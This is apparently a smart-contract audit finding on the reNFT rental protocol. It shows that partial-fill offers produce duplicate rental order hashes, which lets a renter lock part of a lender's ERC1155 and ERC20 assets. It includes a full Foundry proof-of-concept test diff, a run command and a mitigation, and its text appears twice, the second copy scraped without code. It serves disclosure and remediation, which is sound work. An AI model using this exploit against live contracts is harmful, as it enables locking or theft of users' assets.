If the lender creates an offer set to partial, the attacker can lock parts of the lender's assets inside the attacker's safe.
Proof of Concept
When reNFT zone validates the offer and create the rental, it will calculate order hash using _deriveRentalOrderHash, and add the rentals by calling STORE.addRentals to storage using the calculated hash.
function _rentFromZone(
RentPayload memory payload,
SeaportPayload memory seaportPayload
) internal {
// Check: make sure order metadata is valid with the given seaport order zone hash.
_isValidOrderMetadata(payload.metadata, seaportPayload.zoneHash);
// Check: verify the fulfiller of the order is an owner of the recipient safe.
_isValidSafeOwner(seaportPayload.fulfiller, payload.fulfillment.recipient);
// Check: verify each execution was sent to the expected destination.
_executionInvariantChecks(
seaportPayload.totalExecutions,
payload.fulfillment.recipient
);
// Check: validate and process seaport offer and consideration items based
// on the order type.
Item[] memory items = _convertToItems(
seaportPayload.offer,
seaportPayload.consideration,
payload.metadata.orderType
);
// PAYEE orders are considered mirror-images of a PAY order. So, PAYEE orders
// do not need to be processed in the same way that other order types do.
if (
payload.metadata.orderType.isBaseOrder() ||
payload.metadata.orderType.isPayOrder()
) {
// Create an accumulator which will hold all of the rental asset updates, consisting of IDs and
// the rented amount. From this point on, new memory cannot be safely allocated until the
// accumulator no longer needs to include elements.
bytes memory rentalAssetUpdates = new bytes(0);
// Check if each item is a rental. If so, then generate the rental asset update.
// Memory will become safe again after this block.
for (uint256 i; i < items.length; ++i) {
if (items[i].isRental()) {
// Insert the rental asset update into the dynamic array.
_insert(
rentalAssetUpdates,
items[i].toRentalId(payload.fulfillment.recipient),
items[i].amount
);
}
}
// Generate the rental order.
RentalOrder memory order = RentalOrder({
seaportOrderHash: seaportPayload.orderHash,
items: items,
hooks: payload.metadata.hooks,
orderType: payload.metadata.orderType,
lender: seaportPayload.offerer,
renter: payload.intendedFulfiller,
rentalWallet: payload.fulfillment.recipient,
startTimestamp: block.timestamp,
endTimestamp: block.timestamp + payload.metadata.rentDuration
});
// Compute the order hash.
>>> bytes32 orderHash = _deriveRentalOrderHash(order);
// Interaction: Update storage only if the order is a Base Order or Pay order.
>>> STORE.addRentals(orderHash, _convertToStatic(rentalAssetUpdates));
// Interaction: Increase the deposit value on the payment escrow so
// it knows how many tokens were sent to it.
for (uint256 i = 0; i < items.length; ++i) {
if (items[i].isERC20()) {
ESCRW.increaseDeposit(items[i].token, items[i].amount);
}
}
// Interaction: Process the hooks associated with this rental.
if (payload.metadata.hooks.length > 0) {
_addHooks(
payload.metadata.hooks,
seaportPayload.offer,
payload.fulfillment.recipient
);
}
// Emit rental order started.
_emitRentalOrderStarted(order, orderHash, payload.metadata.emittedExtraData);
}
}
function _deriveRentalOrderHash(
RentalOrder memory order
) internal view returns (bytes32) {
// Create arrays for items and hooks.
bytes32[] memory itemHashes = new bytes32[](order.items.length);
bytes32[] memory hookHashes = new bytes32[](order.hooks.length);
// Iterate over each item.
for (uint256 i = 0; i < order.items.length; ++i) {
// Hash the item.
itemHashes[i] = _deriveItemHash(order.items[i]);
}
// Iterate over each hook.
for (uint256 i = 0; i < order.hooks.length; ++i) {
// Hash the hook.
hookHashes[i] = _deriveHookHash(order.hooks[i]);
}
return
keccak256(
abi.encode(
_RENTAL_ORDER_TYPEHASH,
order.seaportOrderHash,
keccak256(abi.encodePacked(itemHashes)),
keccak256(abi.encodePacked(hookHashes)),
order.orderType,
order.lender,
order.renter,
order.startTimestamp,
order.endTimestamp
)
);
}
The problem is that if a lender's offer is created to support partial fills, the attacker can create multiple similar orders referring to the same seaportPayload.orderHash. Because the similar orders result in the same hash, the amount of assets that will be returned to the attacker for that hash will be only equal to the items[i].amount value of the order, while the remaining assets will be locked. Because the second time lender call stopRent it will revert caused by the rental status already removed.
function removeRentals(
bytes32 orderHash,
RentalAssetUpdate[] calldata rentalAssetUpdates
) external onlyByProxy permissioned {
// The order must exist to be deleted.
if (!orders[orderHash]) {
>>> revert Errors.StorageModule_OrderDoesNotExist(orderHash);
} else {
// Delete the order from storage.
delete orders[orderHash];
}
// Process each rental asset.
for (uint256 i = 0; i < rentalAssetUpdates.length; ++i) {
RentalAssetUpdate memory asset = rentalAssetUpdates[i];
// Reduce the amount of tokens for the particular rental ID.
rentedAssets[asset.rentalId] -= asset.amount;
}
}
Example Scenario :
Alice create PAY Offer that support partial fills consist of 2 ERC1155 and 100 ERC20 token A for the provided duration.
Bob fills the offer, by creating two similar partial fills, 1 ERC1155 and 50 ERC20.
Because the two offer result in the same order hash, when alice want to stop the rent, alice will only get 1 ERC1155 and 50 ERC20.
Coded PoC :
Modify the test files to the following :
diff --git a/test/fixtures/engine/OrderCreator.sol b/test/fixtures/engine/OrderCreator.sol
index 6cf6050..a4791d4 100644
--- a/test/fixtures/engine/OrderCreator.sol
+++ b/test/fixtures/engine/OrderCreator.sol
@@ -64,9 +64,10 @@ contract OrderCreator is BaseProtocol {
// Define a standard OrderComponents struct which is ready for
// use with the Create Policy and the protocol conduit contract
+ // PARTIAL_RESTRICTED from FULL_RESTRICTED
OrderComponentsLib
.empty()
- .withOrderType(SeaportOrderType.FULL_RESTRICTED)
+ .withOrderType(SeaportOrderType.PARTIAL_RESTRICTED)
.withZone(address(create))
.withStartTime(block.timestamp)
.withEndTime(block.timestamp + 100)
diff --git a/test/fixtures/engine/OrderFulfiller.sol b/test/fixtures/engine/OrderFulfiller.sol
index d61448a..5f12d23 100644
--- a/test/fixtures/engine/OrderFulfiller.sol
+++ b/test/fixtures/engine/OrderFulfiller.sol
@@ -113,6 +113,54 @@ contract OrderFulfiller is OrderCreator {
);
}
+ function createOrderFulfillmentPartial(
+ ProtocolAccount memory _fulfiller,
+ Order memory order,
+ bytes32 orderHash,
+ OrderMetadata memory metadata
+ ) internal {
+ // set the fulfiller account
+ fulfiller = _fulfiller;
+
+ // set the recipient of any offer items after an order is fulfilled. If the fulfillment is via
+ // `matchAdvancedOrders`, then any unspent offer items will go to this address as well
+ seaportRecipient = address(_fulfiller.safe);
+
+ // get a pointer to a new order to fulfill
+ OrderToFulfill storage orderToFulfill = ordersToFulfill.push();
+
+ // create an order fulfillment
+ OrderFulfillment memory fulfillment = OrderFulfillment(address(_fulfiller.safe));
+
+ // add the order hash and fulfiller
+ orderToFulfill.orderHash = orderHash;
+
+ // create rental zone payload data
+ _createRentalPayload(
+ orderToFulfill.payload,
+ RentPayload(fulfillment, metadata, block.timestamp + 100, _fulfiller.addr)
+ );
+
+ // generate the signature for the payload
+ bytes memory signature = _signProtocolOrder(
+ rentalSigner.privateKey,
+ create.getRentPayloadHash(orderToFulfill.payload)
+ );
+
+ // create an advanced order from the order. Pass the rental
+ // payload as extra data
+ _createAdvancedOrder(
+ orderToFulfill.advancedOrder,
+ AdvancedOrder(
+ order.parameters,
+ 1,
+ 2,
+ order.signature,
+ abi.encode(orderToFulfill.payload, signature)
+ )
+ );
+ }
+
function _createOrderFulfiller(
ProtocolAccount storage storageFulfiller,
ProtocolAccount memory _fulfiller
@@ -323,6 +371,96 @@ contract OrderFulfiller is OrderCreator {
}
}
+ function _createRentalOrderPartial(
+ OrderToFulfill memory orderToFulfill
+ ) internal view returns (RentalOrder memory rentalOrder) {
+ // get the order parameters
+ OrderParameters memory parameters = orderToFulfill.advancedOrder.parameters;
+
+ // get the payload
+ RentPayload memory payload = orderToFulfill.payload;
+
+ // get the metadata
+ OrderMetadata memory metadata = payload.metadata;
+
+ // construct a rental order
+ rentalOrder = RentalOrder({
+ seaportOrderHash: orderToFulfill.orderHash,
+ items: new Item[](parameters.offer.length + parameters.consideration.length),
+ hooks: metadata.hooks,
+ orderType: metadata.orderType,
+ lender: parameters.offerer,
+ renter: payload.intendedFulfiller,
+ rentalWallet: payload.fulfillment.recipient,
+ startTimestamp: block.timestamp,
+ endTimestamp: block.timestamp + metadata.rentDuration
+ });
+
+ // for each new offer item being rented, create a new item struct to add to the rental order
+ for (uint256 i = 0; i < parameters.offer.length; i++) {
+ // PAYEE orders cannot have offer items
+ require(
+ metadata.orderType != OrderType.PAYEE,
+ "TEST: cannot have offer items in PAYEE order"
+ );
+
+ // get the offer item
+ OfferItem memory offerItem = parameters.offer[i];
+
+ // determine the item type
+ ItemType itemType = _seaportItemTypeToRentalItemType(offerItem.itemType);
+
+ // determine which entity the payment will settle to
+ SettleTo settleTo = offerItem.itemType == SeaportItemType.ERC20
+ ? SettleTo.RENTER
+ : SettleTo.LENDER;
+
+ // create a new rental item
+ rentalOrder.items[i] = Item({
+ itemType: itemType,
+ settleTo: settleTo,
+ token: offerItem.token,
+ amount: offerItem.startAmount / 2,
+ identifier: offerItem.identifierOrCriteria
+ });
+ }
+
+ // for each consideration item in return, create a new item struct to add to the rental order
+ for (uint256 i = 0; i < parameters.consideration.length; i++) {
+ // PAY orders cannot have consideration items
+ require(
+ metadata.orderType != OrderType.PAY,
+ "TEST: cannot have consideration items in PAY order"
+ );
+
+ // get the offer item
+ ConsiderationItem memory considerationItem = parameters.consideration[i];
+
+ // determine the item type
+ ItemType itemType = _seaportItemTypeToRentalItemType(
+ considerationItem.itemType
+ );
+
+ // determine which entity the payment will settle to
+ SettleTo settleTo = metadata.orderType == OrderType.PAYEE &&
+ considerationItem.itemType == SeaportItemType.ERC20
+ ? SettleTo.RENTER
+ : SettleTo.LENDER;
+
+ // calculate item index offset
+ uint256 itemIndex = i + parameters.offer.length;
+
+ // create a new payment item
+ rentalOrder.items[itemIndex] = Item({
+ itemType: itemType,
+ settleTo: settleTo,
+ token: considerationItem.token,
+ amount: considerationItem.startAmount,
+ identifier: considerationItem.identifierOrCriteria
+ });
+ }
+ }
+
function _signProtocolOrder(
uint256 signerPrivateKey,
bytes32 payloadHash
@@ -526,20 +664,73 @@ contract OrderFulfiller is OrderCreator {
}
// otherwise, expect the relevant event to be emitted.
else {
- vm.expectEmit({emitter: address(create)});
- emit Events.RentalOrderStarted(
- create.getRentalOrderHash(payRentalOrder),
- payOrder.payload.metadata.emittedExtraData,
- payRentalOrder.seaportOrderHash,
- payRentalOrder.items,
- payRentalOrder.hooks,
- payRentalOrder.orderType,
- payRentalOrder.lender,
- payRentalOrder.renter,
- payRentalOrder.rentalWallet,
- payRentalOrder.startTimestamp,
- payRentalOrder.endTimestamp
- );
+ // vm.expectEmit({emitter: address(create)});
+ // emit Events.RentalOrderStarted(
+ // create.getRentalOrderHash(payRentalOrder),
+ // payOrder.payload.metadata.emittedExtraData,
+ // payRentalOrder.seaportOrderHash,
+ // payRentalOrder.items,
+ // payRentalOrder.hooks,
+ // payRentalOrder.orderType,
+ // payRentalOrder.lender,
+ // payRentalOrder.renter,
+ // payRentalOrder.rentalWallet,
+ // payRentalOrder.startTimestamp,
+ // payRentalOrder.endTimestamp
+ // );
+ }
+
+ // the offerer of the PAYEE order fulfills the orders.
+ vm.prank(fulfiller.addr);
+
+ // fulfill the orders
+ seaport.matchAdvancedOrders(
+ _deconstructOrdersToFulfill(),
+ new CriteriaResolver[](0),
+ seaportMatchOrderFulfillments,
+ seaportRecipient
+ );
+
+ // clear structs
+ resetFulfiller();
+ resetOrdersToFulfill();
+ resetSeaportMatchOrderFulfillments();
+ }
+
+ function _finalizePayOrderFulfillmentPartial(
+ bytes memory expectedError
+ )
+ private
+ returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder)
+ {
+ // get the orders to fulfill
+ OrderToFulfill memory payOrder = ordersToFulfill[0];
+ OrderToFulfill memory payeeOrder = ordersToFulfill[1];
+
+ // create rental orders
+ payRentalOrder = _createRentalOrderPartial(payOrder);
+ payeeRentalOrder = _createRentalOrder(payeeOrder);
+
+ // expect an error if error data was provided
+ if (expectedError.length != 0) {
+ vm.expectRevert(expectedError);
+ }
+ // otherwise, expect the relevant event to be emitted.
+ else {
+ // vm.expectEmit({emitter: address(create)});
+ // emit Events.RentalOrderStarted(
+ // create.getRentalOrderHash(payRentalOrder),
+ // payOrder.payload.metadata.emittedExtraData,
+ // payRentalOrder.seaportOrderHash,
+ // payRentalOrder.items,
+ // payRentalOrder.hooks,
+ // payRentalOrder.orderType,
+ // payRentalOrder.lender,
+ // payRentalOrder.renter,
+ // payRentalOrder.rentalWallet,
+ // payRentalOrder.startTimestamp,
+ // payRentalOrder.endTimestamp
+ // );
}
// the offerer of the PAYEE order fulfills the orders.
@@ -566,6 +757,13 @@ contract OrderFulfiller is OrderCreator {
(payRentalOrder, payeeRentalOrder) = _finalizePayOrderFulfillment(bytes(""));
}
+ function finalizePayOrderFulfillmentPartial()
+ internal
+ returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder)
+{
+ (payRentalOrder, payeeRentalOrder) = _finalizePayOrderFulfillmentPartial(bytes(""));
+}
+
function finalizePayOrderFulfillmentWithError(
bytes memory expectedError
)
diff --git a/test/integration/Rent.t.sol b/test/integration/Rent.t.sol
index 6c4c8d3..f20b299 100644
--- a/test/integration/Rent.t.sol
+++ b/test/integration/Rent.t.sol
@@ -13,6 +13,7 @@ import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStruct
import {BaseTest} from "@test/BaseTest.sol";
import {ProtocolAccount} from "@test/utils/Types.sol";
+import "@forge-std/console.sol";
contract TestRent is BaseTest {
function test_Success_Rent_BaseOrder_ERC721() public {
@@ -276,6 +277,135 @@ contract TestRent is BaseTest {
assertEq(erc721s[0].ownerOf(0), address(bob.safe));
}
+ function test_Success_Rent_PayOrder_Partial() public {
+ // create a PAY order
+ createOrder({
+ offerer: alice,
+ orderType: OrderType.PAY,
+ erc721Offers: 0,
+ erc1155Offers: 2,
+ erc20Offers: 1,
+ erc721Considerations: 0,
+ erc1155Considerations: 0,
+ erc20Considerations: 0
+ });
+
+ // finalize the pay order creation
+ (
+ Order memory payOrder,
+ bytes32 payOrderHash,
+ OrderMetadata memory payOrderMetadata
+ ) = finalizeOrder();
+
+ // create a PAYEE order. The fulfiller will be the offerer.
+ createOrder({
+ offerer: bob,
+ orderType: OrderType.PAYEE,
+ erc721Offers: 0,
+ erc1155Offers: 0,
+ erc20Offers: 0,
+ erc721Considerations: 0,
+ erc1155Considerations: 2,
+ erc20Considerations: 1
+ });
+
+ // finalize the pay order creation
+ (
+ Order memory payeeOrder,
+ bytes32 payeeOrderHash,
+ OrderMetadata memory payeeOrderMetadata
+ ) = finalizeOrder();
+
+ // create an order fulfillment for the pay order
+ createOrderFulfillmentPartial({
+ _fulfiller: bob,
+ order: payOrder,
+ orderHash: payOrderHash,
+ metadata: payOrderMetadata
+ });
+
+ // create an order fulfillment for the payee order
+ createOrderFulfillmentPartial({
+ _fulfiller: bob,
+ order: payeeOrder,
+ orderHash: payeeOrderHash,
+ metadata: payeeOrderMetadata
+ });
+
+ // add an amendment to include the seaport fulfillment structs
+ withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1});
+
+ // finalize the order pay/payee order fulfillment
+ (
+ RentalOrder memory payRentalOrder,
+ RentalOrder memory payeeRentalOrder
+ ) = finalizePayOrderFulfillment();
+
+
+ // get the rental order hashes
+ bytes32 payRentalOrderHash = create.getRentalOrderHash(payRentalOrder);
+ bytes32 payeeRentalOrderHash = create.getRentalOrderHash(payeeRentalOrder);
+ console.log("first pay rental order : ");
+ console.logBytes32(payRentalOrderHash);
+ console.log("first payee rental order : ");
+ console.logBytes32(payeeRentalOrderHash);
+ // second time - my addition
+ // create an order fulfillment for the pay order
+ createOrderFulfillmentPartial({
+ _fulfiller: bob,
+ order: payOrder,
+ orderHash: payOrderHash,
+ metadata: payOrderMetadata
+ });
+
+ // create an order fulfillment for the payee order
+ createOrderFulfillmentPartial({
+ _fulfiller: bob,
+ order: payeeOrder,
+ orderHash: payeeOrderHash,
+ metadata: payeeOrderMetadata
+ });
+
+ // add an amendment to include the seaport fulfillment structs
+ withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1});
+
+ // finalize the order pay/payee order fulfillment
+ (
+ payRentalOrder,
+ payeeRentalOrder
+ ) = finalizePayOrderFulfillment();
+
+ // get the rental order hashes
+ payRentalOrderHash = create.getRentalOrderHash(payRentalOrder);
+ payeeRentalOrderHash = create.getRentalOrderHash(payeeRentalOrder);
+ console.log("second pay rental order : ");
+ console.logBytes32(payRentalOrderHash);
+ console.log("second payee rental order : ");
+ console.logBytes32(payeeRentalOrderHash);
+ // second time - end
+
+ // assert that the rental order was stored
+ assertEq(STORE.orders(payRentalOrderHash), true);
+
+ // assert that the payee rental order was not put in storage
+ assertEq(STORE.orders(payeeRentalOrderHash), false);
+
+ // assert that the token is in storage
+ // assertEq(STORE.isRentedOut(address(bob.safe), address(erc721s[0]), 0), true);
+
+ // assert that the offerer made a payment
+ assertEq(erc20s[0].balanceOf(alice.addr), uint256(9900));
+
+ // assert that a payment was made to the escrow contract
+ assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(100));
+
+ // assert that a payment was synced properly in the escrow contract
+ assertEq(ESCRW.balanceOf(address(erc20s[0])), uint256(100));
+
+ // assert that the ERC721 is in the rental wallet of the fulfiller
+ // assertEq(erc721s[0].ownerOf(0), address(bob.safe));
+ }
+
// This test involves a PAY order where one of the items is left out of the PAYEE order.
// Instead, the fulfiller attempts to use the `recipient` input parameter on `matchAdvancedOrders`
// to try to send an asset to an unauthorized address
diff --git a/test/integration/StopRent.t.sol b/test/integration/StopRent.t.sol
index 3d19d3c..0cf67c2 100644
--- a/test/integration/StopRent.t.sol
+++ b/test/integration/StopRent.t.sol
@@ -7,6 +7,8 @@ import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStruct
import {BaseTest} from "@test/BaseTest.sol";
+import "@forge-std/console.sol";
+
contract TestStopRent is BaseTest {
function test_StopRent_BaseOrder() public {
// create a BASE order
@@ -245,6 +247,134 @@ contract TestStopRent is BaseTest {
assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(0));
}
+ function test_stopRent_payOrder_inFull_stoppedByRenter_Partial() public {
+ // create a PAY order
+ createOrder({
+ offerer: alice,
+ orderType: OrderType.PAY,
+ erc721Offers: 0,
+ erc1155Offers: 2,
+ erc20Offers: 1,
+ erc721Considerations: 0,
+ erc1155Considerations: 0,
+ erc20Considerations: 0
+ });
+
+ // finalize the pay order creation
+ (
+ Order memory payOrder,
+ bytes32 payOrderHash,
+ OrderMetadata memory payOrderMetadata
+ ) = finalizeOrder();
+
+ // create a PAYEE order. The fulfiller will be the offerer.
+ createOrder({
+ offerer: bob,
+ orderType: OrderType.PAYEE,
+ erc721Offers: 0,
+ erc1155Offers: 0,
+ erc20Offers: 0,
+ erc721Considerations: 0,
+ erc1155Considerations: 2,
+ erc20Considerations: 1
+ });
+
+ // finalize the pay order creation
+ (
+ Order memory payeeOrder,
+ bytes32 payeeOrderHash,
+ OrderMetadata memory payeeOrderMetadata
+ ) = finalizeOrder();
+
+ // create an order fulfillment for the pay order
+ createOrderFulfillmentPartial({
+ _fulfiller: bob,
+ order: payOrder,
+ orderHash: payOrderHash,
+ metadata: payOrderMetadata
+ });
+
+ // create an order fulfillment for the payee order
+ createOrderFulfillmentPartial({
+ _fulfiller: bob,
+ order: payeeOrder,
+ orderHash: payeeOrderHash,
+ metadata: payeeOrderMetadata
+ });
+
+ // add an amendment to include the seaport fulfillment structs
+ withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1});
+
+ // finalize the order pay/payee order fulfillment
+ (RentalOrder memory payRentalOrderFirst, ) = finalizePayOrderFulfillmentPartial();
+
+ // get the rental order hashes
+ bytes32 payRentalOrderHashFirst = create.getRentalOrderHash(payRentalOrderFirst);
+ console.log("first pay rental order : ");
+ console.logBytes32(payRentalOrderHashFirst);
+ console.log(STORE.orders(payRentalOrderHashFirst));
+ // second time - my addition
+ // create an order fulfillment for the pay order
+ createOrderFulfillmentPartial({
+ _fulfiller: bob,
+ order: payOrder,
+ orderHash: payOrderHash,
+ metadata: payOrderMetadata
+ });
+
+ // create an order fulfillment for the payee order
+ createOrderFulfillmentPartial({
+ _fulfiller: bob,
+ order: payeeOrder,
+ orderHash: payeeOrderHash,
+ metadata: payeeOrderMetadata
+ });
+
+ // add an amendment to include the seaport fulfillment structs
+ withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1});
+
+ // finalize the order pay/payee order fulfillment
+ (
+ RentalOrder memory payRentalOrderFirstSecond,
+ ) = finalizePayOrderFulfillmentPartial();
+
+ // get the rental order hashes
+ console.log("second pay rental order : ");
+ bytes32 payRentalOrderHashSecond = create.getRentalOrderHash(payRentalOrderFirstSecond);
+ console.logBytes32(payRentalOrderHashSecond);
+ console.log(STORE.orders(payRentalOrderHashSecond));
+ // second time - end
+
+ // speed up in time past the rental expiration
+ vm.warp(block.timestamp + 750);
+
+ // stop the rental order
+ vm.prank(bob.addr);
+ stop.stopRent(payRentalOrderFirst);
+ vm.expectRevert();
+ stop.stopRent(payRentalOrderFirstSecond);
+
+ // assert that the rental order doesnt exist in storage
+ assertEq(STORE.orders(payRentalOrderHashFirst), false);
+
+ // assert that the token is still mark as rented due to amount still exist in storage
+ assertEq(STORE.isRentedOut(address(bob.safe), address(erc1155s[0]), 0), true);
+ assertEq(STORE.isRentedOut(address(bob.safe), address(erc1155s[1]), 0), true);
+
+ // assert that the ERC1155 is back to alice only half of them
+ assertEq(erc1155s[0].balanceOf(address(alice.addr), 0), uint256(50));
+ assertEq(erc1155s[1].balanceOf(address(alice.addr), 0), uint256(50));
+
+ // assert that the offerer made a payment
+ assertEq(erc20s[0].balanceOf(alice.addr), uint256(9900));
+
+ // assert that the fulfiller received the payment
+ assertEq(erc20s[0].balanceOf(bob.addr), uint256(10050));
+
+ // assert that a payment was pulled from the escrow contract
+ assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(50));
+ }
+
function test_stopRent_payOrder_proRata_stoppedByLender() public {
// create a PAY order
createOrder({
Run the test :
forge test -vv --match-contract TestStopRent --match-test test_stopRent_payOrder_inFull_stoppedByRenter_Partial
From the test, it can be observed that half of the lender's assets are locked, and the order cannot be stopped even after the rent duration has passed.
Tools Used
Manual review.
Recommended Mitigation Steps
Introduce nonce when calculating orderHash, to ensure every order will always unique.
Lines of code
https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Create.sol#L592-L595 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/modules/Storage.sol#L189-L203 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L162-L195
Vulnerability details
Impact
If the lender creates an offer set to partial, the attacker can lock parts of the lender's assets inside the attacker's safe.
Proof of Concept
When reNFT zone validates the offer and create the rental, it will calculate order hash using
_deriveRentalOrderHash
, and add the rentals by callingSTORE.addRentals
to storage using the calculated hash.https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Create.sol#L592-L595
https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L162-L195
The problem is that if a lender's offer is created to support partial fills, the attacker can create multiple similar orders referring to the same
seaportPayload.orderHash
. Because the similar orders result in the same hash, the amount of assets that will be returned to the attacker for that hash will be only equal to theitems[i].amount
value of the order, while the remaining assets will be locked. Because the second time lender callstopRent
it will revert caused by the rental status already removed.https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/modules/Storage.sol#L216-L235
Example Scenario :
Alice create
PAY
Offer that support partial fills consist of 2 ERC1155 and 100 ERC20 token A for the provided duration.Bob fills the offer, by creating two similar partial fills, 1 ERC1155 and 50 ERC20.
Because the two offer result in the same order hash, when alice want to stop the rent, alice will only get 1 ERC1155 and 50 ERC20.
Coded PoC :
Modify the test files to the following :
Run the test :
From the test, it can be observed that half of the lender's assets are locked, and the order cannot be stopped even after the rent duration has passed.
Tools Used
Manual review.
Recommended Mitigation Steps
Introduce nonce when calculating orderHash, to ensure every order will always unique.
Assessed type
Invalid Validation